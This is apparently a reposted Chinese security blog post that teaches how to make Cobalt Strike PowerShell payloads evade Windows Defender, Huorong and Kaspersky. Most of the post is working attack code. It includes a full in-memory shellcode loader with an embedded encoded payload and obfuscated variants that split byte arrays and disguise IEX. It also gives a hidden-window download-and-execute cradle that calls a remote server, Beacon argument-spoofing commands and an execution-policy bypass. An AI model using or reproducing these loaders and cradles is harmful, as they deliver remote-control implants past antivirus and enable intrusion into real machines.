1. <dd id="erndk"></dd>
                1. Powershell 免殺過 defender 火絨,附自動化工具

                  互聯網 2022/2/21 7:26:25

                  技術交流關注微信公眾號 Z20安全團隊 , 回復 加群 ,拉你入群 一起討論技術。直接公眾號文章復制過來的,排版可能有點亂, 可以去公眾號看。powershell執行策略修改1 獲取 PowerShell當前執行策略Get-ExecutionPolicywindows默認配置為Restricted 2 設置執行策略Set-Exec…

                  技術交流

                   關注微信公眾號 Z20安全團隊 , 回復 加群 ,拉你入群 一起討論技術。

                  直接公眾號文章復制過來的,排版可能有點亂, 可以去公眾號看。

                   

                  powershell執行策略修改

                  1 獲取 PowerShell當前執行策略

                   Get-ExecutionPolicy

                  windows默認配置為Restricted

                  2 設置執行策略

                   Set-ExecutionPolicy unrestricted

                  PowerShell通過對安全做過充分考量的,它把腳本的執行分成了幾個策略。

                  下面是4種常用的執行策略(XXX):

                  Restricted

                  禁止運行任何腳本和配置文件。

                  AllSigned

                  可以運行腳本,但要求所有腳本和配置文件由可信發布者簽名,包括在本地計算機上編寫的腳本。

                  RemoteSigned

                  可以運行腳本,但要求從網絡上下載的腳本和配置文件由可信發布者簽名;不要求對已經運行和已在本地計算機編寫的腳本進行數字簽名。

                  Unrestricted

                  可以運行未簽名腳本。

                  powershell 混淆免殺

                  總述:主要是分析代碼,轉換編碼,然后去掉關鍵字特征。

                  注意:defender殺的是下面的for那一行,直接把for中的變量$x,換成別的,以下是換成了$gg,同時要把生成的字節數組拆開,再合并,直接一個數組已經不行了。for循環那個,只要每次利用現改變量名,就可以繞過defender。

                  本地馬免殺

                  1.CS生成ps1

                  生成payload 或者無狀態stageless的都可以,但是stageless的太大了,payload太長轉換的時候會卡住,故本文采用的是生成payload的方式。

                  Set-StrictMode -Version 2  $DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) }  function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] )  $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')  return $var_type_builder.CreateType() }  [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+EuNJY5czSyMzIyNL3NwkI0kjS3uHcMbc9qDjY6rkcxLjk1OXSnNLR01QQndLb1QFJNz2mEIjIyPIWHuq5aDMY9+aYyMjI9CHqtugy2Njo9hZXRGYQiMjI6s7Y6g7YKs7o9hZXTmYQiMjI6s7Y6g7YKs7o9hZXSSYQiMjI6s7a2uYQiMjI6s7qtCq5Xd4oMgncEkjcEkjS2shIyNJM3NLSeq/6tz2puNWcqrTa5AjqztjqBPIU8uj3NzcI0JCQg1QV0JERg0SEhAREREVGg1NUBINRUpXQExOTQ1ATE4jwi3l+0Po7OXaJ05aGZj3Wg5Z+j031+ZsWpFVQarTa6grYqsro9p8XSRL05aBddz2S8swIyNLZ9MWw9z2qtOoK6roygDc3Nyk2XyoZDug2yJWGqDkP6gcpP2q3ahfBysS6pLc0Id0dHRgpNlxdHCiydwjIyNxS9cjre/c9nh8eR7cIyMjXyTK/N3c3Kr0ouQjIyMj3MQxF3Vb')  for ($gg = 0; $gg -lt $var_code.Count; $gg++) { $var_code[$gg] = $var_code[$gg] -bxor 35 }  $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)  $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@  If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt }

                  2.尋找查殺特征

                  fuzz之后發現把“FromBase64String”刪掉就不殺了,那就換掉“FromBase64String”

                  alert

                  bypass

                  可以發現是base64解密函數被標記為特征了,然后仔細看源碼可以發現馬也是將base64加密的payload去強制轉換成byte數組。

                  那我們直接給他轉換成byte數組

                  $string = ''$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('cs生成的shellcode')$s |foreach{ $string = $string + $_.ToString()+','}# 或者$string 短的話直接查看即可$string > 1.txt

                  最后為了方便寫了個腳本實現自動化,貼入cs 的payload的就可以,可以結果會輸出到當前目錄下的result.txt中。

                  腳本文末自取

                  3. 把[Byte[]]$var_code替換掉

                  生成byte數組后,將對應位置換掉

                   [Byte[]]$var_code = [Byte[]](xx,xx,xx,xx)  [Byte[]]$acode = [Byte[]](這里放剛剛轉碼后的FromBase65String)

                  其他地方不變。

                  此時最主要的一部分修改完了。

                  4.改一些關鍵字,數組分片

                  到第三步可以一部分免殺,為了進一步免殺,我們去混淆關鍵字。

                  把函數名和變量前綴var_ 隨機化,還有最后的IEX改了一下。

                  對比截圖-源文件(已經做了第三步的免殺了)

                  對比截圖-第四步修改關鍵詞之后的文件

                  可以直接把第三步替換的那一行替換掉這個代碼中對應行。

                  數組分片

                  注意:defender殺的是下面的for那一行,直接把for中的變量$x,換成別的,以下是換成了$gg,同時要把生成的字節數組拆開,再合并,可以進行變量隨機化拆分,加上異或混淆,直接一個數組已經不行了。實測隔個幾個小時defender就有殺了,可能會傳到云上查殺,改成別的變量名就沒事了,所以后面寫了個自動化工具。

                  Set-StrictMode -Version 2  $DoIt = @' function func_b { Param ($amodule, $aprocedure) $aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.Uns'+'afeN'+'ativeMethods') $agpa = $aunsafe_native_methods.GetMethod('GetP'+'rocAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $agpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($amodule)))), $aprocedure)) }  function func_a { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $aparameters, [Parameter(Position = 1)] [Type] $areturn_type = [Void] )  $atype_b = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('Reflect'+'edDel'+'egate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDeleg'+'ateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $atype_b.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $aparameters).SetImplementationFlags('Runtime, Managed') $atype_b.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $areturn_type, $aparameters).SetImplementationFlags('Runtime, Managed')  return $atype_b.CreateType() }  [Byte[]]$a1 = [Byte[]](轉碼后的byte數組片段) [Byte[]]$a2 = [Byte[]](轉碼后的byte數組片段) [Byte[]]$a3 = [Byte[]](轉碼后的byte數組片段) [Byte[]]$a4 = [Byte[]](轉碼后的byte數組片段) [Byte[]]$a5 = [Byte[]](轉碼后的byte數組片段) [Byte[]]$acode = $a1+$a2+$a3+$a4+$a5  for ($gg = 0; $gg -lt $acode.Count; $gg++) { $acode[$gg] = $acode[$gg] -bxor 35 }  $ava = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_b kernel32.dll VirtualAlloc), (func_a @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $abuffer = $ava.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $abuffer, $acode.length)  $arunme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($abuffer, (func_a @([IntPtr]) ([Void]))) $arunme.Invoke([IntPtr]::Zero) '@  If ([IntPtr]::size -eq 8) { start-job { param($a) ie`x $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { i`ex $DoIt }

                  5.執行

                  Bypass執行策略繞過

                   powershell -ExecutionPolicy bypass -File .\payload.ps1

                  執行命令,卡巴斯基會攔截,argue污染以下就行了。

                   beacon> argue cmd.exe asdsdadsadsasadasd beacon> argue #查看污染的參數

                  無落地powershell免殺

                  總述:有了上面的思路我們來修改一下powershell一句話的木馬,對其進行分析然后免殺。

                  原理:cs生成txt-shellcode代碼,放到服務器web目錄,然后目標執行powershell命令請求下載并執行。對于內容就是換一種編碼來混淆,同時可以將編碼部分分成幾個部分然后再拼接,對于關鍵命令,可以使用Replace替換的方法。對于訪問shellcode文件并執行的命令,可以采用混淆分割合并和Replace替換的方法繞過。

                  1.生成無落地執行powershell文件

                  2.訪問http://xxx.xx.xxx.xx:80/a這個連接看看文件內容,并保存下來

                  通過分析可以看到代碼實際組成是:

                   $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("shellcode代碼"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

                  3.使用方法1中的步驟2,把base64編碼方式去掉,然后換成byte數組。

                   $string = '' $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('cs生成的shellcode') $s |foreach { $string = $string + $_.ToString()+','} # 或者$string 短的話直接查看即可 $string > c:\1.txt 。

                  同樣可以用上面的步驟2中腳本實現自動化

                  腳本文末自取

                  4.將生成的編碼分成兩塊或者多塊再組合

                  兩塊不夠可以分成多塊。

                  [Byte[]]$var_c1 = [Byte[]](31,139,8,0,0,0,0,0,0,0,173,87,109,111,162,218,22,254,92,127,5,31,154,168,169,181,40,214,234,220,76,114,20,65,80,160,10,190,247,52,205,6,182,136,34,32,108,4,60,51,255,253,44,80,123,58,119,58,247,78,114,175,9,113,179,89,175,207,126,214,98,161,97,114,175,145,192,54,136,236,153,152,186,159,225,32,180,61,151,170,23,10,183,61,79,36,212,87,234,143,98,97,29,185,6,201,182,179,197,155,133,201,155,31,120,198,27,50,205,0,135,33,245,87,225,102,132,2,180,167,74,183,71,20,188,237,61,51,114,112,133,202,111,50,187,110,247,28,92,199,128,115,15,33,42,160,68,249)[Byte[]]$var_c2 = [Byte[]](199,96,206,103,88,42,138,174,140,247,128,223,249,30,104,122,187,134,50,195,87,233,75,105,165,87,239,217,125,198,101,214,65,97,88,161,70,17,212,185,81,161,52,140,28,108,86,168,142,27,218,151,71,157,136,120,249,178,248,79,184,114,228,16,219,64,33,185,154,123,45,127,2,233,197,53,235,185,80,49,145,1,189,155,171,100,3,217,135,72,62,122,114,114,79,229,11,250,65,228,238,241,255,241,0,126,112,250,223,161,205,192,203,103,186,119,232,242,128,62,199,171,40,254,81,40,136,107,234,195,126,104,159,224,139,5,31,168,86,206,189,144,160,128,220,111,61,29,62,111,242,247,117,233,22,149,41,145,91,80,183,136,250,78,221,67,122,157,144,169,195,55,78,96,69,217,203,155,58,127,178,125,163,98,100,159,21,191,81,42,54,48,140,220,247,3,79,7,150,98,152,193,50,211,185,145,76,24,246,254,6,195,245,1,82,3,14,0,0)$var_code=$var_c1+$var_c2$s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

                  5.另存到服務器的其他txt文件中并訪問執行

                   powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:4545/text.txt'))"

                  此時www.virustotal.com還有幾個被查出,主要是命令關鍵詞沒有被替換,使用混淆的方法解決。

                  6.混淆命令關鍵詞并執行

                   [Byte[]]$var_c1 = [Byte[]](31,42,160,68,249) [Byte[]]$var_c2 = [Byte[]](199,96,82,3,14,0,0) $var_code=$var_c1+$var_c2  $s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1+$a2)

                  混淆-自動化

                  為了實現實戰中快速應用,將免殺過程進行了自動化,并進行隨機化處理,異或混淆,每次生成的payload都不相同,極大的提高滲透實戰中的效率。

                  測試截圖:

                  工具放到了星球,感興趣的可以加入Z2O安全團隊知識星球獲取。

                  獲取base64Tobyte.ps1:

                  https://github.com/komomon/Powershell_bypassAV

                  總結

                  一些思路

                  在powershell的免殺上,函數變量名需要一些混淆才能很好繞過,同樣存在一個問題,如果每次執行的隨機串長度固定,那么也存在被殺的可能性,所以隨機化很重要。

                  可以再轉化一下函數或代碼順序,加入一些無用載荷,比如一張圖片拼接到payload中,提取有用部分,類似分片再拼接,這樣效果會更好。

                  文章的想法是想讓大家了解其中原理,形成自己的自定義免殺思路。

                  最后

                  感興趣的小伙伴可以關注公眾號回復“加群”,添加Z2OBot 小K自動拉你加入Z2O安全攻防交流群分享更多好東西。

                  隨時隨地學軟件編程-關注百度小程序和微信小程序
                  關于找一找教程網

                  本站文章僅代表作者觀點,不代表本站立場,所有文章非營利性免費分享。
                  本站提供了軟件編程、網站開發技術、服務器運維、人工智能等等IT技術文章,希望廣大程序員努力學習,讓我們用科技改變世界。
                  [Powershell 免殺過 defender 火絨,附自動化工具]http://www.yachtsalesaustralia.com/tech/detail-299925.html

                  贊(0)
                  關注微信小程序
                  程序員編程王-隨時隨地學編程

                  掃描二維碼或查找【程序員編程王】

                  可以隨時隨地學編程啦!

                  技術文章導航 更多>
                  国产在线拍揄自揄视频菠萝

                        1. <dd id="erndk"></dd>